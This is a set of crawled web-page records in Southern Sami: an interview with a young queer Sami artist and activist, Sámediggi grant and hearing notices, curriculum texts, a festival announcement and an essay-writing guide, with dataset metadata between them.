Bjørkmo Lifjell (26) lïegkedimmiem veelti destie mij lij saemien juktie sijjiem vedtedh sov mubpien stoerre identiteetese.\nDaelie giesie jïh biejjh-guakoe Oslosne. Jarngesne veljies almetjh. Gaajhke iemie vååjnoe, jis ij covid-19 jïh pandemijem måjhtelh mah veartene-guvviem klaeriedieh. Daelie varke snjaltjen minngie-gietjesne jïh Nöörjen suetie-taalh eah leah dan vuelehke orreme njoktjen mænngan aarebi daan jaepien, aaj åejvie-staaresne.\nDam aaj damta staaren aajmosne. Ij leah vielie seamma aelhkie jovnesem jeatjabidie hööltedh. Jïh maajetjh sijjieh gaavnebe gusnie tjahkasjidh gusnie eah leah dan jïjnjh jeatjah almetjh mijjen bïjre.\nOLE-HENRIK lea gaptam tsaakeme juktie mijjieh dan bïjre birreme. Gaptam baahkes biejjide sjïehtedamme goh daate. Dam jïjtje gååreme. Men konsertese jirreden edtja maam akt jeatjah tsaekedh.\n— Manne tjarke aavodem scenesne tjåadtjodh! Joekoen hijven sjædta.\nOle-Henrik, artiste-nommine ÅVLA, edtja scenesne tjåadtjodh dåehkine ektine man nomme DJ iDJa, dennie aajnehke saemien festivaalesne daan giesien. Åejvieladtji korona-restriksjovni gaavhtan daan jaepien Márkomeannu, jïh gellie jeatjah festivaalh idtjin öörnesovvh. Sijjeste Salt art & music Oslosne Márkomeannuine laavenjostoe jïh saemien festivaale-hïeljem öörnede.\nKEiiNO, Marja Mortensson, Kajsa Balto jïh Niilas leah aaj artisti gaskem. Veanhtede 200 goltelæjjah båetieh. Daate luksuse daelie gosse doh jeanatjommesh artisth leah sijjen spïele-barkoeh dasseme.\nMUSIHKE lea akte jieniebistie suerkijste mejgujmie Ole-Henrik stoerre ïedtjine gïehtele. Ij leah mij akt mejnie joekoen guhkiem gïehtelamme, men daelie sïllem vaalteme dan saemien «klubb-scenese» – goh joejkije.\n— Gaajhke ajve lusten gaavhtan eelki. Voestegh raaktan såemies baantedimmiejgujmie tellefovnesne eelkimh. Dan mænngan libie jåarhkeme musihkem goerehtidh. Ånnetji ånnetji daate akten musihkese evtiesovveme maam ållermaahta goh yoiktronica, mejjesne jeahta.\n— Manne musihkine jïh joejkeminie eelkim golmen jaepien juassah. Manne våarhkojne orreme jïh baantedimmieh båeries vuelijste jïh teknihkijste gaavneme mejtie leam goerehtamme, guktie leam veele åvte-goerehtimmiem dorjeme. Raaktan EP:em bæjhkoehtibie naa varke!\nMEN ÅVTELEN Ole-Henrik musihkine eelki, dellie aaj daanhtsojne jïh teaterinie gïehtelamme. Dejnie minngemes neebneme annje gïehtele. Men aalkoelistie raaktan daanhtsoen bïjre nïekedi jïh mestie sïjhti jieliemassem utnedh. Numhtie aaj bijjie-baakoe aktene plaerie-tjaalegisnie dan bïjre vïjhten jaepien juassah. Mijjieh dam neebnebe jïh dïhte ånnetji mojjehte.\n— Jaavoe, soejkesje lij daanhtsoste jieledh, dïhte gujht reaktoe. Manne åvte-lohkemem daanhtsosne veedtsim aktem jaepiem daesnie Oslosne jïh raaktan daanhtsoe-skuvli sïjse böötim bachelor-daltesisnie. Men gaavnehtim daanhtsoe ij leah naakede mejnie sïjhtem gïehtelidh.\n— Lij gujht geerve orreme destie jieledh jïh daanhtsoe-karrijeere ij akt dan guhkiem ryöhkh. Im gujht maehtieh jiehtedh manne daanhtsoem dan jïjnjem ohtselamme.\n— Vihkielommes lea sån åarjel-daanhtsoem jïh swingem maehtedh?!\n— Haha. Raaktan im naan såarhts paarre-daanhtsoem maehtieh! Naakenh gujht bååhperieh gosse dam vueptiestieh, jïh voestes gyhtjelasse daamtaj båata «ih leah datne daanhtsoem lohkeme?» Nov amma, manne mån byörem dam lïeredh.\nGOSSE DAANHTSOE orriji, jeatjah aath jijhtin. Ole-Henrik lea gellielaaketje jïh dejnie joekoen hijvenlaakan tråjjede. Minngemes tïjjen dïhte prosjekte-koordinatovrine barkeme siebresne Mental Helse Ungdom dotkeme-prosjekten sjïekenisnie «Mihá», akte vijries goerehtimmie noere saemiej psykiske healsoste.\nJïh lissine, dïhte aaj Saemiedigkien noere-politihkeles moenehtsen åvtehke, åeniedamme SUPU daaroen-gïelesne. Moenehtse edtja ektiedimmine årrodh saemien noeri jïh Saemiedigkien gaskem. Jïjtje stoerre ïedtjem åtna politihkese, men ij sån gåessie naan tjïelke politihkerinie sjïdth.\n— Manne tuhtjem vihkeles ij edtjh ovrïektes årrodh. Manne mån vielie aktiviste goh diplomaate, föörhkede.\nDÏHTE maaje njueniehkisnie vaadtsa, dovne politihkesne men aaj jeatjah aatine. Saemien queer-byjresisnie dïhte lea gellielaakan akte almetje mij dej aamhtesi åvteste soptseste jïh åvte-guvvie. Lissine meatan siebresne Garmeres, siebrie saemien queeride.\nJïjtje soptsesti satne lij homofijle gosse lij luhkievïjhten jaepien båeries. Ij lij aelhkie, men læjhkan ij dïhte geervemes maam dorjeme, guktie jïjtje dam buerkeste. Altese eejhtegh lin dam guarkeme guhkiem åvtelen, jïh dah leah abpe byjjenimmiem tjïertestamme satne lea guktie lea jïh dïhte nuekie hijven.\n— Men lij geerve noere saemie jïh homofijle årrodh aktene onne sijjesne, joekoen gosse lim akte gille almetjijstie. Raaktan lij vïerrebe irhkesovvedh dan åvteste lim saemie goh dan åvteste lim homofijle. Gosse irhkesovvim mov saemien identiteeten gaavhtan dellie domtoe goh abpe fuelhkie irhkesovvi jïh ij ajve manne.\nDAN NÅAKE LIJ guktie Ole-Henrik raaktan dam saemien identiteetem leehpi gosse lij luhkiegovhten jaepien båeries jïh dej voestes göökteluhkie-jaepiej raajan. Idtji gaajhke tjeekh dan tïjjen. Tjoeri naakedem båarhte veeljedh.\nMov saemien identiteete lij aelhkie vöörhkedh gosse gellielaakan ij lij dan våajnoes hïejme-sijjesne. Akte rovnege åssjaldahke jeenjesidie, men eevre daerpies akten noere saemien homofijlese mij lij jïjtjemse ohtsedeminie.\nJåarhke-skuvlen jïh akten jaepien almetjejïlle-skuvlen mænngan dïhte stoerre-staarese juhti. Joe gosse lij luhkiegolmen jaepien båeries lij aalkeme Oslon bïjre nïekedh\/ (nïekedh betyr å like, skal vi sette inn nïekedidh?). Mænngan daesnie orreme.\n— Datne damth datne jïjtjemdh gaavneme daelie?\n— Jaavoe, vïenhtem. Manne gujht dam lïegkedimmiem daarpesjim. Men såemieslaakan lij ånnetji egoistiske. Damtem saemien siebriedahke lij mannem daarpesjamme dan boelhken, gosse dan vaenie dellie libie jearohke gaajhkesijstie. Raaktan dan bïjre manne onne dïedtem damtem.\nMEN eadtjohkevoete jïh ïedtje eah daelie fååtesh goh. Dïhte sjyöhtehke goh dorjehtæjja Åarjelsaemien teaterisnie stuhtjesne «Giedtine - gie bïegkem eekie?» Åenehkslaakan soptsestamme akte politihkeles stuhtje saemien reaktaj jïh båatsoen bïjre, bïegkejårrehtse-paarhkigujmie jïh kruana jarkelimmien bïjre goh våarome.\n— Manne scene-tjeahpojne hijvenlaakan tråjjedem. Daelie guhkiem mænngan teaterem dorjeme, men vïenhtem joekoen hijven sjædta! Premijeeren mænngan edtjebe bïjre jarkan fealadidh vïjhte våhkoeh.\n— Men numhtie leam. Manne mån dagkeres yes man. Im buektehth ijje jiehtedh, dan åvteste bïllem manne nuepieh jïh orre dååjrehtimmieh bïestelem. Saaht guktie, dellie dan jïjnjem bååstede åådtje, ussjedem. Manne mån FOMO:ste (Fear of missing out) læjjedem. Guktie ij sån jienebh eejehtimmieh sjïdth destie mij lea saemien. Måjhtelh gaajhkem maam maahtam dassedh!","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:03f8e9ca-02ef-4694-8104-f2f5b8ec847e","date":"2023-09-22T07:49:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00099.warc.gz","language":"sma","language_score":0.9999927282,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999927282333374}","num_words":848,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Healsoe- jïh sosijaaleprosjekthRæhpas ohtsememierie. Ulmie: Hijven healsoe jïh seammavyörtegs healsoe-, hokse- jïh maanavaarjelimmiedïenesjh Öörnegen dåarjoedåastojh: Siebrieh, sïelth jïh institusjovnh Aktegsaktöörh byjjes ektiedimmine dotkeme- jïh ööhpehtimmieinstitusjovnide sïelth, institusjovnh jïh siebrieh mah dåarjoem dåastoeh tjuerieh registreradamme årrodh Enhetsregisterisnie Nöörjesne Prioriteradimmieh 2021: Vuekieevtiedimmieprosjekth Prosjekth mah saemien skïemtjiji meatanbaajnehtimmiem jïh utnijestuvremem lissiehtieh Prosjekth mah saemien maanaj reaktah jïh daerpiesvoeth gorredieh gosse dah leah maanavaarjelimmien hoksen nuelesne Prosjekth mah dokumenteradamme daajroem buektieh saemien maanaj bïjre maanavaarjelimmien hoksen nuelesne Prosjekth mah psykiske healsoem nænnoestieh saemien maanaj jïh noeri luvnie. Prosjekth mah daajroem evtiedieh saemien gïelen jïh kultuvren bïjre saemien healsoen, hoksen jïh maanavaarjelimmien sisnjeli Prosjekth mah viehkiehtieh heerredidh jïh giehpiedidh låhkoem aemieluesiemijstie, aemieluesemevoejhkelimmijste jïh jïjtjeslæjrarimmijste Prosjekth mah hijven healsoem båatsosne eevtjieh Vuarjasjimmie ohtsemijstie jïh prioriteradimmieh dej gaskem: Ohtsemh vuarjasjamme sjidtieh ekonomeles, maarhkedeligke, teknihkeles, siebriedahkenåhtoen, tjiehpeles, faageles jïh jeatjah sjyöhtehke krööhkemi mietie, gaskem jeatjah mejtie gåarede prosjektem praktihkeles tjïrrehtidh. Vuarjasjimmesne ohtsemijstie leavloe bïejesåvva faageles sisvegasse, profesjonaliteetese jïh kvaliteetese. Sïjhtebe faatoes reektehtsh aarebi dåarjoeaamhtesinie krööhkestidh. Gosse ohtsemh gïetesuvvieh Saemiedigkie maahta vuarjasjidh mejtie ohtsijen lea ekonomeles nuepie prosjektem\/tseegkemem tjïrrehtidh. Saemiedigkie maahta kredihtebïevnesh veedtjedh ohtsijen bïjre. Ryöknedimmienjoelkedassh: Dåarjoe ryöknesåvva tjïelkestamme ohtsemen jïh prosjektebuerkiestimmien mietie, raajan 500 000 kråvnah. Elektrovneles ohtsemegoere Dåarjoe Healsoe-, hokse- jïh maanavaarjelimmieprosjektide. Dåarjoenjoelkedassh 2021 (PDF, 412 kB) SistEndret 21.06.2023 00.47","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/stipende-jih-daarjoe\/daarjoe\/healsoe-jih-sosijaale-2\/","date":"2023-09-22T16:02:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506420.84\/warc\/CC-MAIN-20230922134342-20230922164342-00443.warc.gz","language":"sma","language_score":1.0000019073,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000019073486328}","num_words":196,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.189,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien mubpiengïeline, saemien 4 lea gïelefaage jïh vihkeles faage gaskesadtemen, kultuvregoerkesen, learoebijjiedimmien jïh identiteete-evtiedimmien gaavhtan. Faage edtja viehkiehtidh guktie learohkh saemiengïeleldh sjidtieh. Lïerehtimmie edtja gaajhkide learoehkidie, aaj learohkh mah maajhööhpehtimmiem åadtjoeh, saemien gïelemaahtoem vedtedh nænnoes gïelelïerehtimmiemaalli tjïrrh. Faage edtja viehkiehtidh guktie learohkh positijve jïjtjeguvviem jïh jearsoes identiteetem åadtjoeh goh saemiengïeleldh, jïh guktie ektiedimmiem evtiedieh jïjtsh gïelesiebriedahkese, Saapman jïh aalkoe-almetji veartenevijries ektievoetese. Saemien gïelemaahtoe oksh rïhpeste jïh nuepieh vadta privaate jieliedisnie jïh barkoejieliedisnie, jïh learohkh maehtieh sijjen gelliengïeleldh jïh gellienkulturelle maahtoem nuhtjedh nasjonaale jïh gaskenasjonaale ektiedimmine jïh aalkoe-almetjeektiedimmesne.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/sas04-01\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2023-09-30T02:15:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510575.93\/warc\/CC-MAIN-20230930014147-20230930044147-00891.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":86,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.209,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajhkh faagh edtjieh viehkiehtidh lïerehtimmien aarvoevåaromem realiseeredh. Laejhtehks ussjedimmie matematihkesne lea laejhtehks vuarjasjimmie resonnementeste jïh argumenteste jïh maahta learoehkidie viehkiehtih jïjtsh veeljemh vaeltedh jïh mïelem utnedh vihkeles gyhtjelassi bïjre jïjtsh jieliedisnie jïh seabradahkesne. Gosse learohkh astoem åadtjodh ussjedidh, matematihkeles ussjedadtedh, gyhtjelassh gihtjedh jïh dååjredh faage lea sjiehteles, faage kreativiteetese jïh sjugniedimmielastose sjïehteladta. Matematihke edtja viehkiehtidh guktie learohkh maahtoem evtiedieh jïjtjeraarehke barkedh jïh mubpiejgujmie laavenjostedh goerehtimmien jïh dåeriesmoereloetemen tjïrrh, jïh maahta viehkiehtidh guktie learohkh vielie voerkes sjidtieh jïjtsh lïeremen bïjre. Gosse learohkh nuepiem åadtjoeh dåeriesmoerh loetedh jïh haestemh oktegimse haalvedh, dïhte vïssjelesvoetem jïh jïjtjeraarehkevoetem evtede.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/mat01-05\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2023-09-23T23:23:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506539.13\/warc\/CC-MAIN-20230923231031-20230924021031-00747.warc.gz","language":"sma","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000097751617432}","num_words":94,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.114,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2011\nFaage\nDaltese\nGiele\nISBN\n9788273216106\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n80\nReektehtse learohki saemienööhpehtimmie-vierhtiedimmeste.\nDaate lea reektehtse mij tjaalasovvi mænngan goh goerehtalleme lin learohki vuajnoeh saemienööhpehtimmien bïjre. Dan våarome bööti 2009-jaapetje Saemiengïeli darjomesoejkesjen 4. råajvarimmeste. Meatan lin learohkh 5.–10.:n klaasseste jïh jåarhkeskuvlen learohkh. Tjåenghkesne 700 medtie learohkh gïeh vaestiedin. Åesieh mejtie goerehtalleme leah learohki jïjtsh gïelemaahtoeh, saemiengïelem gåetesne jïh skuvlesne, learohki vuajnojde saemiengïelefaagese jïh guktie learohkh barkoevuekide vuejnieh, dovne learoevierhtide jïh saemienööhpehtimmien vierhtiedimmievuekide.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/girji_rett-til-samisk-opplaering-ideal-eller-realitet","date":"2023-09-23T03:35:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506479.32\/warc\/CC-MAIN-20230923030601-20230923060601-00179.warc.gz","language":"sma","language_score":0.9999881983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999881982803345}","num_words":77,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saetniesvoete- jïh liktemekommisjovnen reektehtse\nReektehtse Sannhet og forsoning– grunnlag for et oppgjør med fornorskingspolitikk og urett mot samer, kvener\/norskfinner og skogfinner deellesovvi Stoerredægkan ruffien 1. b. 2023. Saemiedigkien stoerretjåanghkoe edtja abpe reektehtsem gïetedidh. Dan sjïekenisnie saemiedigkieraerie lahtestimmiej bïjre birrie saemien seabradahkeste reektehtsen sisvegen jïh dej liktije råajvarimmiej bïjre.\nGovlehtimmie ræhpas gaajhkesidie. Govlehtimmieprievie lea aalkoelisnie seedtesovveme dejtie mah ryöktesth dåarjoem dåastoeh Saemiedigkien budsjedtesne. Men sæjhta vadtasovvedh jieniebidie organisasjovnide jïh etaatide govlehtimmiemierien åvtelen.\nLohkh doh raeriestamme råajvarimmieh reektehtsistie\nGovlehtimmie lea digitaale.\nÅrroeh meatan govlehtimmesne daesnie: Govlehtimmie – reektehtse Saetniesvoete jïh likteme - Saemiedigkie\nJis ih maehtieh meatan årrodh digitaale, maahtah aaj dov govlehtimmievaestiedassem mijjese seedtedh e-påastesne.\nSámediggi - Sametinget\nPostboks 3\n9735 Kárášjohka\/Karasjok\nGovlehtimmiemierie: Golken 31. b. 2023\nMaahta abpe reektehtsem lohkedh Stoerredigkien nedtesæjrojne\nDigitaale govlehtimmie\nSaemiedigkieraerie edtja digitaale govlehtimmiem tjïrrehtidh sijjesne Zoom golken 18.b. ts. 11:00 institusjovnide, organisasjovnide jïh siebride. Seamma biejjien ts. 15:00 sæjhta digitaale govlehtimmie årrodh aktegsalmetjidie. Gaajhkesh mah sijhtieh govlehtimmielahtestimmiem vedtedh daejnie öörneminie tjuerieh jïjtemse bïeljelidh daejtie govlehtimmietjåannghkojde.\nBïevnesh bïeljelimmien bïjre Saemiedigkien nedtesæjrojde jïh Facebookese mænngan båetieh. Fïerhte institusjovne\/almetje åådtje 10 minudth soptsestidh dejnie digitaale govlehtimmietjåanghkojne.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/politihke\/horinger\/aktive-horinger\/","date":"2023-10-01T11:34:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510888.64\/warc\/CC-MAIN-20231001105617-20231001135617-00890.warc.gz","language":"sma","language_score":0.9999570847,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999570846557617}","num_words":166,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"LearohkegoerehtimmieLearohkegoerehtimmie lea akte goerehtimmie fïerhten jaepien mij learoehkidie nuepiem vadta jiehtedh maam sijjieh lïeremen jïh tråjjen bïjre skuvlesne vienhtieh. Illedahkh goerehtimmeste vöörhkesuvvieh jïh åtnasuvvieh skuvlijste, skuvle-aajhterijstie jïh staaten ööhpehtimmiereeremistie juktie learohki skuvle- jïh lïeremebyjresem analyseradidh jïh evtiedidh. Daatah goerehtimmeste maehtieh aaj åtnasovvedh dotkemasse jïh dotkijh maehtieh daatah goerehtimmeste åadtjodh mah eah leah gïetedovveme annje. Såemies illedahkh Learohkegoerehtimmeste Ööhpehtimmiedirektoraaten nedtedïenesjasse Skoleporten båetieh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/lierehtimmie\/skuvlebyjrese-jih-skuvleevtiedimmie\/learohkegoerehtimmie\/","date":"2023-09-29T01:05:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510462.75\/warc\/CC-MAIN-20230928230810-20230929020810-00699.warc.gz","language":"sma","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000007152557373}","num_words":61,"character_repetition_ratio":0.12,"word_repetition_ratio":0.0,"special_characters_ratio":0.107,"stopwords_ratio":0.197,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Buerie båeteme Raasten Rastah:se Storstuggu:sne skïereden 28. biejjien raejeste golken 1. biejjien raajan!\nRaasten Rastah lea festivaale gaajhkide fuelhkide, sjïere maanide jïh noeride. Daate kulturelle jïh sosijaale gaavnedimmiesijjie maam stoere programmem fuelhkide öörnie. Maanah jïh noerh maehtieh ovmessie workshop:ide dåeriedidh, dovne vætna, teatere jïh kåanstoen bïjre. Geerve almetjh maehtieh seminaaride jïh digkiedimmide dåeriedidh, aamhtesi bïjre noeride jïh geerve almetjidie. Konseerth, vuesiehtimmieh jïh teaterh aaj öörnesuvvieh. Agnete Saba, DJ Ailo jïh maanateateere «Dålle» Plaassjese båetieh!\nLohkh vielie Raasten Rastah:n gaskeviermiesæjrosne.\nVelkommen til Raasten Rastah 28. september -1. oktober 2023 på Storstuggu!\nRaasten Rastah er en grenseløs sørsamisk festival for hele familien, med vekt på barn og unge. Det er en kulturell og sosial møteplass som tilbyr et variert program for hele familien. For barn og unge er det workshops hvor man deltar i aktiviteter innenfor håndverk (vætnah), teater og kunst. Det er også seminarer med foredrag og debatt om aktuelle temaer for ungdom og voksne. Det blir også konserter, utstillinger og teaterforestillinger, hvor blant annet Agnete Saba, DJ Ailo og barneteateret «Dålle» kommer!\nLes mer om Raasten Rastah på deres nettside.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/roros.kommune.no\/barn-unge-og-utdanning\/raasten-rastah-kultuvrefestivaale-raasten-rastah-kulturfestival\/","date":"2023-09-27T11:35:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510297.25\/warc\/CC-MAIN-20230927103312-20230927133312-00230.warc.gz","language":"sma","language_score":0.9800907373,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9800907373428345, \"sme_Latn_score\": 0.01317446306347847}","num_words":175,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse datne edtjh digkiedidh tjoerh ussjedidh guktie edtjh digkiedimmiem aelkedh jïh galhkedh. Åvtelen aalkah tjaeledh, soejkesjh guktie sïjhth dov vaestiedassem bigkedh.\nSoejkesjidh\nÅvtelen datne aalkah tjaeledh, tjoerh soejkesjidh guktie sïjhth dov vaestiedassem bigkedh. Daesnie raerieh guktie maahtah digkiedimmie-artihkelem tjaeledh jïh aktem lissie-teekstem våaroeminie nuhtjedh.\n- Aalkosne datne aamhtesen bïjre tjaalah, man bïjre edtjh tjaeledh. Tjaelieh gyhtjelassem aalkoen minngie-gietjesne, guktie lohkije guarkoe maam datne edtjh digkiedidh.\n- Åehpiehdehtieh lissie-teekstide. Mah hedtieh gaavnh?\n- Aelkieh digkiedidh. Datne edtjh unnemes göökte jallh golme buerie argumenth gåabpatjahken bieleste utnedh, dovne aevhkieh jïh dåeriesmoerh.\n- Galhkuve.\nAelkedh tjaeledh\nDaelie datne edtjh pryövedh tjaeledh.\nTjaelieh:\n- aalkoem\n- göökte boelhketjh åejvie-boelhkesne. Tjaelieh aktem argumentem maam aevhkiem vuesehte jïh aktem argumentem maam dåeriesmoerem vuesehte\n- galhkuvem\nAalkoe\nAelkieh aalkoem tjaeledh aamhtesen bïjre jïh bïejh dam stuerebe ektievoetese.\nÅejvie-boelhken boelhketjh\nDatne edtjh göökte boelhketjh tjaeledh jïh aamhtesen mietie jïh vööste argumenteradidh; Jeatjah gïelh saemien gïelem tsevtsieh. Tjaelieh voestegh boelhketjem gusnie argumenteredh man åvteste saemien-gïele daaroen-gïeleste tsavtseme. Tjaelieh dan mænngan aktem boelhketjem gusnie datne daan vööste argumenteredh.\nGuktie boelhketjem bigkedh\nGosse datne edtjh boelhketjem ussjedimmie-teekstesne bigkedh, dellie maahtah naemhtie ussjedidh:\n- Aelkieh raajesinie gusnie tjïelkesth man bïjre daate boelhketje.\n- Goerehth lahtestimmie-raajesinie.\n- Nuhtjh sjiehteles vuesiehtimmieh dov teekstesne.\nMinngemes edtjh iktedidh jïh konklusjovnem tjaeledh.\nRaerie: Mujhtieh faage-dïejvesh jïh faage-maahtoem nuhtjedh.\nGalhkuve\nBuerie raerie dutnjien: Mujhtieh galhkuvem tjaeledh!\nGellie laavenjassh göökte boelhkh utnieh, gusnie datne edtjh dov jïjtje vuajnoem tjïelkestidh mubpene boelhkesne. Jis datne dejnie orrijih, dellie ij dov naan galhkuve.\nGalhkuve lea tjïelkes boelhketje teeksten minngie-gietjesne. Mujhtieh aalkoem lohkedh åvtelen aalkah galhkuvem tjaeledh. Dov lea gyhtjelasse aalkoen minngie-gietjesne? Jis dov lea, dellie maahtah tjïelke vaestiedassem tjaeledh galhkuvisnie.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:6b649077-6960-4648-9b35-91654b4b091f\/resource:657ba706-97dd-4993-90e5-4da4453eb8ff","date":"2023-10-04T02:44:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511351.18\/warc\/CC-MAIN-20231004020329-20231004050329-00479.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":258,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemieskuvle Gárasavvon jarngesne. Saemieskuvle akte skuvle learoehkidie aarhskuvleklaasseste govhtede jaepiekuvsjese jïh eejehtshïejme jïh aarhskuvle Skierri. Lohkehtimmie learoesoejkesjinie saemieskuvlese, aarhskuvlese jïh eejehtshïejmese jåhta. Saemieskuvlen learohkh tjïelten skuvlen beapmoesijjesne byöpmedieh.\nAarhskuvle Lávvu dennie seamma veellesne goh skuvle. Aarhskuvle saemien åssjalommesi mietie learoesoejkesjinie aarhskuvlese barka jïh jïjtse tjöövkem åtna gusnie gaajhkem beapmoem maanide jurjiehtieh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sameskolstyrelsen.se\/sy\/aarhskuvle-skuvle-eejehtshiejme\/garasavvon-karesuando-sydsamiska\/","date":"2023-12-05T05:14:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100545.7\/warc\/CC-MAIN-20231205041842-20231205071842-00114.warc.gz","language":"sma","language_score":0.9999096394,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999096393585205}","num_words":51,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.11,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije GROM as Vaadtasovvemejaepie 2016 Faage Saemien 1 Saemien 2, 3 jïh 4 Daltese Maanagïerte SAÖ 1-4 Giele Julevsaemiengïele Noerhtesaemiengïele Åarjelsaemiengïele Daaroengïele Formaate App Reakta-aajhtere GROM as Reaktah Gaajhkh reaktah leah doelehtovveme Stoeredahke 271.8 MB Aamhtesh Aerpiemaahtoe Njaalmeldh kultuvre Aarhte jïh daajroe IT\/teknologije Saemiengïele Gïelh jïh smaaregh heevehtslitteratuvre Viehkiebaakoe Appe Heamture Vaajese","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_troll-i-ord-stallo","date":"2023-12-10T04:53:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679101195.85\/warc\/CC-MAIN-20231210025335-20231210055335-00730.warc.gz","language":"sma","language_score":0.9999581575,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999581575393677}","num_words":45,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem seabradahkefaagesne vuesiehtieh jïh evtiedieh 3. jïh 4. daltesisnie gosse oktegh jïh mubpiejgujmie ektine goerehtieh jïh onterdieh seabradahkefaageles teemaj jïh ektiedimmiej bïjre dej gaskem. Learohkh maahtoem vuesiehtieh jïh evtiedieh gosse seabradahkefaageles gyhtjelassh åehpiedehtieh jïh dej bijjeli soptsestellieh, jïh ussjededtieh magkerh 